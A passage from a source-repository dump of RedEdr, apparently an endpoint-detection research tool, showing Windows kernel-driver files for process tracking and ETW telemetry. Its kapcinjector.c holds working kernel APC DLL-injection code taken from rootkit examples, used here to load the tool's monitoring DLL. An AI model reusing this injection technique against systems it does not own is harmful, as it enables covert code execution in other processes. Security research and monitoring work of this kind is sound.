</ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"hashcache.h\" />\n    <ClInclude Include=\"kapcinjector.h\" />\n    <ClInclude Include=\"kcallbacks.h\" />\n    <ClInclude Include=\"settings.h\" />\n    <ClInclude Include=\"upipe.h\" />\n    <ClInclude Include=\"utils.h\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "RedEdrDriver/RedEdrDriver.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n    <Filter Include=\"Driver Files\">\n      <UniqueIdentifier>{8E41214B-6785-4CFE-B992-037D68949A14}</UniqueIdentifier>\n      <Extensions>inf;inv;inx;mof;mc;</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <Inf Include=\"RedEdrDriver.inf\">\n      <Filter>Driver Files</Filter>\n    </Inf>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"Driver.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"upipe.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"kcallbacks.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"kapcinjector.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"hashcache.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"utils.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"settings.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"upipe.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"kcallbacks.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"kapcinjector.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"hashcache.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"utils.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"settings.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "RedEdrDriver/hashcache.c",
    "content": "#include <Ntifs.h>\n#include <ntddk.h>\n\n#include \"hashcache.h\"\n\n\nPHASH_ENTRY HashTable[HASH_TABLE_SIZE];\nKSPIN_LOCK HashTableLock;\n\n\nNTSTATUS InitializeHashTable()\n{\n    RtlZeroMemory(HashTable, sizeof(HashTable));\n    KeInitializeSpinLock(&HashTableLock);\n    return STATUS_SUCCESS;\n}\n\n\nNTSTATUS AddProcessInfo(HANDLE ProcessId, PPROCESS_INFO ProcessInfo)\n{\n    ULONG index = HashFunction(ProcessId);\n    PHASH_ENTRY entry;\n\n    entry = (PHASH_ENTRY)ExAllocatePool2(\n        POOL_FLAG_NON_PAGED, sizeof(HASH_ENTRY), 'Hash');\n    if (!entry) {\n        return STATUS_INSUFFICIENT_RESOURCES;\n    }\n\n    entry->ProcessId = ProcessId;\n    entry->ProcessInfo = ProcessInfo;\n    entry->Next = NULL;\n\n    KIRQL oldIrql;\n    KeAcquireSpinLock(&HashTableLock, &oldIrql);\n\n    entry->Next = HashTable[index];\n    HashTable[index] = entry;\n\n    KeReleaseSpinLock(&HashTableLock, oldIrql);\n\n    return STATUS_SUCCESS;\n}\n\n\nPPROCESS_INFO LookupProcessInfo(HANDLE ProcessId)\n{\n    ULONG index = HashFunction(ProcessId);\n    PHASH_ENTRY entry;\n\n    KIRQL oldIrql;\n    KeAcquireSpinLock(&HashTableLock, &oldIrql);\n\n    entry = HashTable[index];\n    while (entry) {\n        if (entry->ProcessId == ProcessId) {\n            KeReleaseSpinLock(&HashTableLock, oldIrql);\n            return entry->ProcessInfo;\n        }\n        entry = entry->Next;\n    }\n\n    KeReleaseSpinLock(&HashTableLock, oldIrql);\n    return NULL;\n}\n\n\nNTSTATUS RemoveProcessInfo(HANDLE ProcessId)\n{\n    ULONG index = HashFunction(ProcessId);\n    PHASH_ENTRY entry, prevEntry = NULL;\n\n    KIRQL oldIrql;\n    KeAcquireSpinLock(&HashTableLock, &oldIrql);\n\n    entry = HashTable[index];\n    while (entry) {\n        if (entry->ProcessId == ProcessId) {\n            if (prevEntry) {\n                prevEntry->Next = entry->Next;\n            }\n            else {\n                HashTable[index] = entry->Next;\n            }\n            ExFreePoolWithTag(entry, 'Hash');\n            KeReleaseSpinLock(&HashTableLock, oldIrql);\n            return STATUS_SUCCESS;\n        }\n        prevEntry = entry;\n        entry = entry->Next;\n    }\n\n    KeReleaseSpinLock(&HashTableLock, oldIrql);\n    return STATUS_NOT_FOUND;\n}\n\n\nVOID FreeHashTable()\n{\n    ULONG i;\n    PHASH_ENTRY entry, tempEntry;\n\n    KIRQL oldIrql;\n    KeAcquireSpinLock(&HashTableLock, &oldIrql);\n\n    // Iterate through each bucket in the hash table\n    for (i = 0; i < HASH_TABLE_SIZE; i++) {\n        entry = HashTable[i];\n\n        // Traverse the linked list in this bucket\n        while (entry) {\n            tempEntry = entry->Next;\n\n            // Free the associated PROCESS_INFO structure if allocated separately\n            if (entry->ProcessInfo) {\n                ExFreePoolWithTag(entry->ProcessInfo, 'Proc');\n            }\n\n            // Free the hash table entry itself\n            ExFreePoolWithTag(entry, 'Hash');\n\n            // Move to the next entry in the list\n            entry = tempEntry;\n        }\n\n        // Set the bucket to NULL after freeing all entries\n        HashTable[i] = NULL;\n    }\n\n    KeReleaseSpinLock(&HashTableLock, oldIrql);\n}\n\n\nULONG HashFunction(HANDLE ProcessId)\n{\n    // PIDs on Windows are always multiples of 4; shift right to use all buckets.\n    return ((ULONG_PTR)ProcessId >> 2) % HASH_TABLE_SIZE;\n}\n"
  },
  {
    "path": "RedEdrDriver/hashcache.h",
    "content": "#pragma once\n\n#include <ntddk.h>\n#include <stdio.h>\n\n\n#define PROC_NAME_LEN 128\n\ntypedef struct _PROCESS_INFO {\n    HANDLE ProcessId;\n    wchar_t name[PROC_NAME_LEN];\n\n    HANDLE ppid;\n    wchar_t parent_name[PROC_NAME_LEN];\n\n    int observe;\n    volatile LONG injected;\n} PROCESS_INFO, * PPROCESS_INFO;\n\n\n#define HASH_TABLE_SIZE 256\n\ntypedef struct _HASH_ENTRY {\n    HANDLE ProcessId;\n    PPROCESS_INFO ProcessInfo;\n    struct _HASH_ENTRY* Next;\n} HASH_ENTRY, * PHASH_ENTRY;\n\n\nNTSTATUS InitializeHashTable();\nNTSTATUS AddProcessInfo(HANDLE ProcessId, PPROCESS_INFO ProcessInfo);\nPPROCESS_INFO LookupProcessInfo(HANDLE ProcessId);\nNTSTATUS RemoveProcessInfo(HANDLE ProcessId);\nVOID FreeHashTable();\nULONG HashFunction(HANDLE ProcessId);"
  },
  {
    "path": "RedEdrDriver/kapcinjector.c",
    "content": "\n#include <ntifs.h>\n// from https://github.com/0xOvid/RootkitDiaries/\n\n\n// set dispach drivers\n\n/*\nPsSetLoadImageNotifyRoutine\n\ncheck process\nallocate memory for the KeInitializeApc and KeInsertQueueApc\n\nKAPC *Alloc=(KAPC*)ExAllocatePool(NonPagedPool,sizeof(KAPC)\n\n\nFor another post, create and delete the same device\nObMakeTemporaryObject\n*/\n\n\n/*\nDefining basic data structures\n*/\ntypedef PVOID(*fnLoadLibraryExA)(\n\tLPCSTR lpLibFileName,\n\tHANDLE hFile,\n\tULONG dwFlag\n\t);\n\ntypedef struct _INJECTION_DATA // _SIRIFEF_INJECTION_DATA in article\n{\n\tBOOLEAN Executing;\n\tPEPROCESS Process;\n\tPETHREAD Ethread;\n\tKEVENT Event;\n\tWORK_QUEUE_ITEM WorkItem;\n\tULONG ProcessId;\n} INJECTION_DATA, * P_INJECTION_DATA;\n\ntypedef struct GET_ADDRESS\n{\n\tPVOID Kernel32dll;\n\tfnLoadLibraryExA pvLoadLibraryExA;\n}GET_ADDRESS, * PGET_ADDRESS;\n\n// Define undocumented structures\ntypedef enum _KAPC_ENVIRONMENT\n{\n\tOriginalApcEnvironment,\n\tAttachedApcEnvironment,\n\tCurrentApcEnvironment,\n\tInsertApcEnvironment\n}KAPC_ENVIRONMENT, * PKAPC_ENVIRONMENT;\n\ntypedef VOID(NTAPI* PKNORMAL_ROUTINE)(\n\tPVOID NormalContext,\n\tPVOID SystemArgument1,\n\tPVOID SystemArgument2\n\t);\n\ntypedef VOID KKERNEL_ROUTINE(\n\tPRKAPC Apc,\n\tPKNORMAL_ROUTINE* NormalRoutine,\n\tPVOID* NormalContext,\n\tPVOID* SystemArgument1,\n\tPVOID* SystemArgument2\n);\n\ntypedef KKERNEL_ROUTINE(NTAPI* PKKERNEL_ROUTINE);\n\ntypedef VOID(NTAPI* PKRUNDOWN_ROUTINE)(\n\tPRKAPC Apc\n\t);\n\nvoid KeInitializeApc(\n\tPRKAPC Apc,\n\tPRKTHREAD Thread,\n\tKAPC_ENVIRONMENT Environment,\n\tPKKERNEL_ROUTINE KernelRoutine,\n\tPKRUNDOWN_ROUTINE RundownRoutine,\n\tPKNORMAL_ROUTINE NormalRoutine,\n\tKPROCESSOR_MODE ProcessorMode,\n\tPVOID NormalContext\n);\n\nBOOLEAN KeInsertQueueApc(\n\tPRKAPC Apc,\n\tPVOID SystemArgument1,\n\tPVOID SystemArgument2,\n\tKPRIORITY Increment\n);\n\nPVOID pLoadLibraryExA = { 0 };\n\nVOID NTAPI APCKernelRoutine(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID* SysArg1, PVOID* SysArg2, PVOID* Context)\n{\n\tUNREFERENCED_PARAMETER(Apc);\n\tUNREFERENCED_PARAMETER(NormalRoutine);\n\tUNREFERENCED_PARAMETER(SysArg1);\n\tUNREFERENCED_PARAMETER(SysArg2);\n\tUNREFERENCED_PARAMETER(Context);\n\tExFreePool(Apc);\n\treturn;\n}\n\nNTSTATUS DllInject(HANDLE ProcessId, PEPROCESS PeProcess, PETHREAD PeThread, BOOLEAN Alert)\n{\n\tUNREFERENCED_PARAMETER(ProcessId);\n\tUNREFERENCED_PARAMETER(PeProcess);\n\tUNREFERENCED_PARAMETER(PeThread);\n\tUNREFERENCED_PARAMETER(Alert);\n\n\tNTSTATUS status;\n\n\n\t// 3) open the target process using the id that we gather before\t\n\tHANDLE hProcess; // The ZwOpenProcess routine writes the process handle to the \n\t// variable that this parameter points to.\n\tOBJECT_ATTRIBUTES objectAttributes = { sizeof(OBJECT_ATTRIBUTES) };\n\tCLIENT_ID clientId;\n\n\tInitializeObjectAttributes(&objectAttributes,\n\t\tNULL,\n\t\tOBJ_KERNEL_HANDLE,\n\t\tNULL,\n\t\tNULL);\n\tclientId.UniqueProcess = PsGetProcessId(PeProcess); ProcessId;\n\tclientId.UniqueThread = (HANDLE)0;\n\tstatus = ZwOpenProcess(&hProcess,\n\t\tPROCESS_ALL_ACCESS,\n\t\t&objectAttributes,\n\t\t&clientId);\n\t// Check for successfull allocation\n\tif (!(NT_SUCCESS(status)))\n\t{\n\t\tKdPrint((\"[ERROR] ZwOpenProcess Failed\\n\"));\n\t\treturn STATUS_NO_MEMORY;\n\t}\n\n\tCHAR DllFormatPath[] = \"C:\\\\RedEdr\\\\RedEdrDll.dll\";\n\t// 2) get the size in bytes of the string\n\tSIZE_T Size = strlen(DllFormatPath) + 1;\n\tPVOID pvMemory = NULL;\n\tKdPrint((\"[+] ZwOpenProcess!!!\\n\"));\n\n\t// 4) Allocate memory on the target process calling ZwAllocateVirtualMemory \n\t// with the bytes of the string as the size for the allocation.\n\tstatus = ZwAllocateVirtualMemory(hProcess, &pvMemory, 0, &Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n\t// check for successfull allocation\n\tif (!(NT_SUCCESS(status)))\n\t{\n\t\tKdPrint((\"[ERROR] ZwAllocateVirtualMemory Failed\\n\"));\n\t\tZwClose(hProcess);\n\t\treturn STATUS_NO_MEMORY;\n\t}\n\n\tKAPC_STATE KasState;\n\tPKAPC Apc;\n\t// 5) KeStackAttachProcess which attaches the current thread to the target process address space\n\tKeStackAttachProcess(PeProcess, &KasState);\n\t// 6) Copy the string to the previously allocated memory\n\tstrcpy(pvMemory, DllFormatPath);\n\t// 7) KeUnstackDetachProcess which detaches the current thread and restores the old attach state.\n\tKeUnstackDetachProcess(&KasState);\n\t// 8) Allocate memory again for an KAPC variable\n\t//Apc = (PKAPC)ExAllocatePool(NonPagedPool, sizeof(KAPC));\n\tApc = (PKAPC)ExAllocatePool2(POOL_FLAG_NON_PAGED, sizeof(KAPC), 'Tag1');\n\tif (Apc)\n\t{\n\t\t// 9) Initialize the APC inserting the address of the stub LoadLibraryExA and the allocated \n\t\t// memory which contains the path of the dll\n\t\tKeInitializeApc(Apc,\n\t\t\tPeThread,\n\t\t\t0,\n\t\t\t(PKKERNEL_ROUTINE)APCKernelRoutine,\n\t\t\t0,\n\t\t\t(PKNORMAL_ROUTINE)pLoadLibraryExA,\n\t\t\tUserMode,\n\t\t\tpvMemory);\n\t\t// 10) Insert the APC\n\t\tKeInsertQueueApc(Apc, 0, 0, IO_NO_INCREMENT);\n\t\tKdPrint((\"[+] SUCCESS!!!\\n\"));\n\t\treturn STATUS_SUCCESS;\n\t}\n\treturn STATUS_NO_MEMORY;\n}\n\nVOID WorkerRoutine(PVOID Context)\n{\n\tUNREFERENCED_PARAMETER(Context);\n\tDllInject(&((P_INJECTION_DATA)Context)->ProcessId, ((P_INJECTION_DATA)Context)->Process, ((P_INJECTION_DATA)Context)->Ethread, FALSE);\n\tKeSetEvent(&((P_INJECTION_DATA)Context)->Event, (KPRIORITY)0, FALSE);\n\treturn;\n}\n\n// ExInitializeWorkItem and ExQueueWorkItem are deprecated. I dont care.\n#pragma warning(push)\n#pragma warning(disable: 4996)\nVOID NTAPI APCInjectorRoutine(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID* SystemArgument1, PVOID* SystemArgument2, PVOID* Context)\n{\n\tUNREFERENCED_PARAMETER(Apc);\n\tUNREFERENCED_PARAMETER(NormalRoutine);\n\tUNREFERENCED_PARAMETER(SystemArgument1);\n\tUNREFERENCED_PARAMETER(SystemArgument2);\n\tUNREFERENCED_PARAMETER(Context);\n\n\tKdPrint((\"[+] APCInjectorRoutine\\n\"));\n\t\n\t// The APCInjectorRoutine Initializes the SIRIFEF_INJECTION_DATA structure and frees the apc value everytime its called.\n\tINJECTION_DATA Sf;\n\n\tRtlSecureZeroMemory(&Sf, sizeof(INJECTION_DATA));\n\tExFreePool(Apc);\n\t// 1) Pass the current thread memory to the structure\n\tSf.Ethread = KeGetCurrentThread();\n\t// 2) Pass the the current process to the structure\n\tSf.Process = IoGetCurrentProcess();\n\t// 3) Pass the current process id to the structure\n\t//Sf.ProcessId = PsGetCurrentProcessId();\n\t// 4) Initialize the notification event\n\tKeInitializeEvent(&Sf.Event, NotificationEvent, FALSE);\n\n\t// 5) Initialize the WorkItem, queue the work item with type DelayedWorkItem\n\tExInitializeWorkItem(&Sf.WorkItem, (PWORKER_THREAD_ROUTINE)WorkerRoutine, &Sf);  // deprecated\n\t// 6) Wait for the event object\n\tExQueueWorkItem(&Sf.WorkItem, DelayedWorkQueue);  // deprecated\n\tKeWaitForSingleObject(&Sf.Event, Executive, KernelMode, FALSE, 0);\n\t\n\t/*\n\t// Alternative to the deprecated functions, untested\n\t// 4) Allocate and initialize the WorkItem using IoAllocateWorkItem\n\tSf.WorkItem = IoAllocateWorkItem(Sf.Process);\n\tif (Sf.WorkItem == NULL) {\n\t\t// Handle allocation failure\n\t\treturn STATUS_INSUFFICIENT_RESOURCES;\n\t}\n\t// 5) Queue the work item with type DelayedWorkItem\n\tIoQueueWorkItem(Sf.WorkItem, (PIO_WORKITEM_ROUTINE)WorkerRoutine, DelayedWorkQueue, &Sf);\n\t// 6) Wait for the event object\n\tKeWaitForSingleObject(&Sf.Event, Executive, KernelMode, TRUE, 0);\n\t// 7) Free the work item after it has been processed\n\tIoFreeWorkItem(Sf.WorkItem);\n\t*/\n\n\treturn;\n}\n\n#include <ntimage.h>\nPVOID CustomGetProcAddress(PVOID pModuleBase, UNICODE_STRING functionName) {\n\tUNREFERENCED_PARAMETER(functionName);\n\t// Check PE header for magic bytes\n\tPIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;\n\tif (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {\n\t\treturn NULL;\n\t}\n\t// Check PE header for signature\n\tPIMAGE_NT_HEADERS ImageNtHeaders = ((PIMAGE_NT_HEADERS)(RtlOffsetToPointer(pModuleBase, ImageDosHeader->e_lfanew)));\n\tif (ImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {\n\t\treturn NULL;\n\t}\n\t// Check Optional Headers\n\tif (!(ImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress &&\n\t\t0 < ImageNtHeaders->OptionalHeader.NumberOfRvaAndSizes)) {\n\t\treturn NULL;\n\t}\n\t// Get address of Export directory\n\tPIMAGE_EXPORT_DIRECTORY ImageExport = (((PIMAGE_EXPORT_DIRECTORY)(PUCHAR)RtlOffsetToPointer(pModuleBase, ImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress)));\n\t// Check for export directory\n\tif (!(ImageExport))\n\t{\n\t\treturn NULL;\n\t}\n\tPULONG AddressOfNames = ((PULONG)RtlOffsetToPointer(pModuleBase, ImageExport->AddressOfNames));\n\tfor (ULONG n = 0; n < ImageExport->NumberOfNames; ++n)\n\t{\n\t\tLPSTR FunctionName = ((LPSTR)RtlOffsetToPointer(pModuleBase, AddressOfNames[n]));\n\t\tif (strcmp(\"LoadLibraryExA\", FunctionName) == 0) {\n\t\t\tPULONG AddressOfFunctions = ((PULONG)RtlOffsetToPointer(pModuleBase, ImageExport->AddressOfFunctions));\n\t\t\tPUSHORT AddressOfOrdinals = ((PUSHORT)RtlOffsetToPointer(pModuleBase, ImageExport->AddressOfNameOrdinals));\n\n\t\t\tPVOID pFnLoadLibraryExA = ((PVOID)RtlOffsetToPointer(pModuleBase, AddressOfFunctions[AddressOfOrdinals[n]]));\n\n\t\t\tKdPrint((\"[+] FOUND! functionName %s @ %p\\n\", FunctionName, pFnLoadLibraryExA));\n\n\t\t\treturn pFnLoadLibraryExA;\n\t\t}\n\t}\n\treturn NULL;\n}\n\n\nint KapcInjectDll(IN PUNICODE_STRING ImageName, IN HANDLE ProcessId, IN PIMAGE_INFO pImageInfo) {\n\tUNREFERENCED_PARAMETER(ImageName);\n\tUNREFERENCED_PARAMETER(ProcessId);\n\tUNREFERENCED_PARAMETER(pImageInfo);\n\t// Source: https://github.com/alexvogt91/Kernel-dll-injector/blob/master/Sirifef/Sirifef/Sf.c\n\n\t// 1) First check that the ImageName which is a pointer to an UNICODE_STRING structure is not 0\n\tif (ImageName == NULL) {\n\t\treturn 0;\n\t}\n\tWCHAR kernel32mask[] = L\"*\\\\KERNEL32.DLL\";\n\tUNICODE_STRING kernel32unicodeString;\n\t// initialize unicode string\n\tRtlInitUnicodeString(&kernel32unicodeString, kernel32mask);\n\t// 2) Check that the string kernel32.dll exists, since we will be injecting our dll code only when system loads kernel32.dll module.\n\tif (!(FsRtlIsNameInExpression(&kernel32unicodeString, ImageName, TRUE, NULL))) {\n\t\treturn 0;\n\t}\n\t//LOG_A(LOG_INFO, \"[+] INJECT into pid %d\\n\", ProcessId);\n\t/*\n\t* How it was done in the original:\n\t3) Hash variable its actually a global variable(in real production malware this would be change) defined like this GET_ADDRESS Hash.\n\t4) If the kernel32dll value is zero, that means it has not loaded yet, so we enter the conditional,\n\t\tpass the memory from the loaded module by the notification(kernel32.dll) and load the\n\t\tLoadLibraryExA function using the ResolveDynamicImport which can be found in the ZeroBank rootkit series.\n\n\tFlow in source:\n\tcheck if the hash value is empty\n\tif so call resolveDynamicImport using the base address of the dll\n\tresolveDynamicImport calls a custom implementaiton of get proc address\n\tSIRIFEF_LOADLIBRARYEXA_ADDRESS is defined as: #define SIRIFEF_LOADLIBRARYEXA_ADDRESS 1268416216\n\tthis is used in the custom get proc address function as so:\n\t- parse PE header and check magic byre for MZ\n\t- check signature\n\t- Check exported functions\n\t- Resolve address of names\n\t- walk names and look for the one with the matching hash\n\t- when hashes match return pointer to the function\n\t*/\n\tpLoadLibraryExA = CustomGetProcAddress((PVOID)pImageInfo->ImageBase, kernel32unicodeString);\n\n\t// 5) Next step is to allocate memory for an KAPC variable\n\tPKAPC Apc;\n\t//Apc = (PKAPC)ExAllocatePool(NonPagedPool, sizeof(KAPC));\n\tApc = (PKAPC)ExAllocatePool2(POOL_FLAG_NON_PAGED, sizeof(KAPC), 'Tag1');\n\tif (!Apc)\n\t{\n\t\t//LOG_A(LOG_INFO, \"[ ] apc error\\n\");\n\t\treturn 0;\n\t}\n\t//KdPrint((\"[+] APC allocated\\n\"));\n\n\t// 6) Initialize the Apc with KeInitializeApc using the current thread and introducing the function APCInjectorRoutine, the processor mode is kernelmode.\n\tKeInitializeApc(Apc, KeGetCurrentThread(), OriginalApcEnvironment, (PKKERNEL_ROUTINE)APCInjectorRoutine, 0, 0, KernelMode, 0);\n\t// 7) Insert the Apc with KeInsertQueueApc\n\tKeInsertQueueApc(Apc, 0, 0, IO_NO_INCREMENT);\n\n\treturn 1;\n}\n"
  },
  {
    "path": "RedEdrDriver/kapcinjector.h",
    "content": "#pragma once\n\nint KapcInjectDll(IN PUNICODE_STRING ImageName, IN HANDLE ProcessId, IN PIMAGE_INFO pImageInfo);"
  },
  {
    "path": "RedEdrDriver/kcallbacks.c",
    "content": "#include <Ntifs.h>\n#include <ntddk.h>\n#include <ntstrsafe.h>\n\n#include \"upipe.h\"\n#include \"kapcinjector.h\"\n#include \"kcallbacks.h\"\n#include \"hashcache.h\"\n#include \"settings.h\"\n#include \"utils.h\"\n#include \"../Shared/common.h\"\n\n// ZwSetInformationProcess is exported by ntoskrnl but not declared in WDK headers.\n// Resolved dynamically via MmGetSystemRoutineAddress to avoid VCR001 analyzer warnings.\n// ProcessLoggingInformation (class 87) sets per-process ETW-TI logging flags so that\n// the Microsoft-Windows-Threat-Intelligence provider emits the full range of events\n// (WriteVM, ReadVM, SetContextThread, SuspendThread, etc.) for this process.\n// Reference: https://fluxsec.red/reverse-engineering-windows-11-kernel\ntypedef NTSTATUS (NTAPI *PFN_ZwSetInformationProcess)(\n    HANDLE ProcessHandle,\n    ULONG  ProcessInformationClass,\n    PVOID  ProcessInformation,\n    ULONG  ProcessInformationLength\n);\nstatic PFN_ZwSetInformationProcess g_ZwSetInformationProcess = NULL;\n\ntypedef NTSTATUS (NTAPI *PFN_ZwQueryInformationProcess)(\n    HANDLE ProcessHandle,\n    ULONG  ProcessInformationClass,\n    PVOID  ProcessInformation,\n    ULONG  ProcessInformationLength,\n    PULONG ReturnLength\n);\nstatic PFN_ZwQueryInformationProcess g_ZwQueryInformationProcess = NULL;\n\ntypedef NTSTATUS (NTAPI *PFN_ZwQuerySystemInformation)(\n    ULONG  SystemInformationClass,\n    PVOID  SystemInformation,\n    ULONG  SystemInformationLength,\n    PULONG ReturnLength\n);\nstatic PFN_ZwQuerySystemInformation g_ZwQuerySystemInformation = NULL;\n\n// PROCESS_LOGGING_INFORMATION\n// based on https://www.legacyy.xyz/defenseevasion/windows/2024/04/24/disabling-etw-ti-without-ppl.html\n#define ProcessLoggingInformation 96  // 0x60  \n\ntypedef union _PROCESS_LOGGING_INFORMATION {\n    ULONG Flags;\n    struct _PROCESS_LOGGING_INFORMATION_BITS {\n        ULONG EnableReadVmLogging              : 1;\n        ULONG EnableWriteVmLogging             : 1;\n        ULONG EnableProcessSuspendResumeLogging: 1;\n        ULONG EnableThreadSuspendResumeLogging : 1;\n        ULONG EnableLocalExecProtectVmLogging  : 1;\n        ULONG EnableRemoteExecProtectVmLogging : 1;\n        ULONG EnableImpersonationLogging       : 1;\n        ULONG Reserved                         : 25;\n    } Bits;\n} PROCESS_LOGGING_INFORMATION;\n\n// Enable all ETW-TI logging flags for the given process.\n// Must be called at PASSIVE_LEVEL (process-creation callbacks run at PASSIVE_LEVEL).\n// Returns TRUE on success, FALSE on failure.\nstatic BOOLEAN EnableProcessTelemetryLogging(PEPROCESS Process) {\n    HANDLE hProcess = NULL;\n    NTSTATUS status;\n    BOOLEAN success = FALSE;\n\n    // Convert EPROCESS pointer to a kernel HANDLE without a separate ZwOpenProcess.\n    status = ObOpenObjectByPointer(\n        Process,\n        OBJ_KERNEL_HANDLE,\n        NULL,\n        PROCESS_ALL_ACCESS,\n        *PsProcessType,\n        KernelMode,\n        &hProcess\n    );\n    if (!NT_SUCCESS(status)) {\n        LOG_A(LOG_WARNING, \"[RedEdr] EnableProcessTelemetryLogging: ObOpenObjectByPointer failed: 0x%08X\\n\", status);\n        return FALSE;\n    }\n\n    // Set the desired logging flags for this process. We enable all the ETW-TI flags to get the full range of events.\n    PROCESS_LOGGING_INFORMATION processLoggingInfo = { 0 };\n    processLoggingInfo.Bits.EnableReadVmLogging = 1;\n    processLoggingInfo.Bits.EnableWriteVmLogging = 1;\n    processLoggingInfo.Bits.EnableProcessSuspendResumeLogging = 1;\n    processLoggingInfo.Bits.EnableThreadSuspendResumeLogging = 1;\n    // Win11 only (build >= 22000); these bits are not present on Win10\n    RTL_OSVERSIONINFOW osVer = { 0 };\n    osVer.dwOSVersionInfoSize = sizeof(osVer);\n    if (NT_SUCCESS(RtlGetVersion(&osVer)) && osVer.dwBuildNumber >= 22000) {\n        processLoggingInfo.Bits.EnableLocalExecProtectVmLogging = 1;\n        processLoggingInfo.Bits.EnableRemoteExecProtectVmLogging = 1;\n        processLoggingInfo.Bits.EnableImpersonationLogging = 1;\n    }\n    // Dont touch reserved for now\n    //processLoggingInfo.Bits.Reserved = 0;\n\n    if (g_ZwSetInformationProcess == NULL) {\n        ZwClose(hProcess);\n        return FALSE;\n    }\n    status = g_ZwSetInformationProcess(\n        hProcess,\n        ProcessLoggingInformation,\n        &processLoggingInfo,\n        sizeof(processLoggingInfo)\n    );\n    if (!NT_SUCCESS(status)) {\n        LOG_A(LOG_WARNING, \"[RedEdr] EnableProcessTelemetryLogging: ZwSetInformationProcess failed: 0x%08X\\n\", status);\n        success = FALSE;\n    } else {\n        success = TRUE;\n    }\n\n    ZwClose(hProcess);\n    return success;\n}\n\n// Query and debug-log the current PROCESS_LOGGING_INFORMATION flags for a process.\nstatic void LogProcessTelemetryLoggingFlags(PEPROCESS Process, HANDLE pid) {\n    HANDLE hProcess = NULL;\n    NTSTATUS status;\n\n    status = ObOpenObjectByPointer(\n        Process,\n        OBJ_KERNEL_HANDLE,\n        NULL,\n        PROCESS_ALL_ACCESS,\n        *PsProcessType,\n        KernelMode,\n        &hProcess\n    );\n    if (!NT_SUCCESS(status)) {\n        LOG_A(LOG_INFO, \"[RedEdr] LogProcessTelemetryLoggingFlags: ObOpenObjectByPointer failed for pid %llu: 0x%08X\\n\", (ULONG64)pid, status);\n        return;\n    }\n\n    if (g_ZwQueryInformationProcess == NULL) {\n        ZwClose(hProcess);\n        return;\n    }\n\n    PROCESS_LOGGING_INFORMATION loggingInfo = { 0 };\n    ULONG returnLength = 0;\n    status = g_ZwQueryInformationProcess(\n        hProcess,\n        ProcessLoggingInformation,\n        &loggingInfo,\n        sizeof(loggingInfo),\n        &returnLength\n    );\n    ZwClose(hProcess);\n\n    if (!NT_SUCCESS(status)) {\n        LOG_A(LOG_INFO, \"[RedEdr] LogProcessTelemetryLoggingFlags: ZwQueryInformationProcess failed for pid %llu: 0x%08X\\n\", (ULONG64)pid, status);\n        return;\n    }\n\n    LOG_A(LOG_INFO, \"[RedEdr] pid %llu ETW-TI flags=0x%02X: ReadVM=%d WriteVM=%d ProcSuspRes=%d ThrSuspRes=%d LocalExecProt=%d RemoteExecProt=%d Impersonation=%d reserved=0x%02X\\n\",\n        (ULONG64)pid,\n        loggingInfo.Flags,\n        loggingInfo.Bits.EnableReadVmLogging,\n        loggingInfo.Bits.EnableWriteVmLogging,\n        loggingInfo.Bits.EnableProcessSuspendResumeLogging,\n        loggingInfo.Bits.EnableThreadSuspendResumeLogging,\n        loggingInfo.Bits.EnableLocalExecProtectVmLogging,\n        loggingInfo.Bits.EnableRemoteExecProtectVmLogging,\n        loggingInfo.Bits.EnableImpersonationLogging,\n        loggingInfo.Bits.Reserved);\n}\n\n\n// Enumerate all running processes and call EnableProcessTelemetryLogging for\n// every process whose image name matches targetName (case-insensitive).\n// Uses ZwQuerySystemInformation(SystemProcessInformation) to walk the live\n// process list without relying on the driver's own hash table, so it works\n// even for processes that were already running 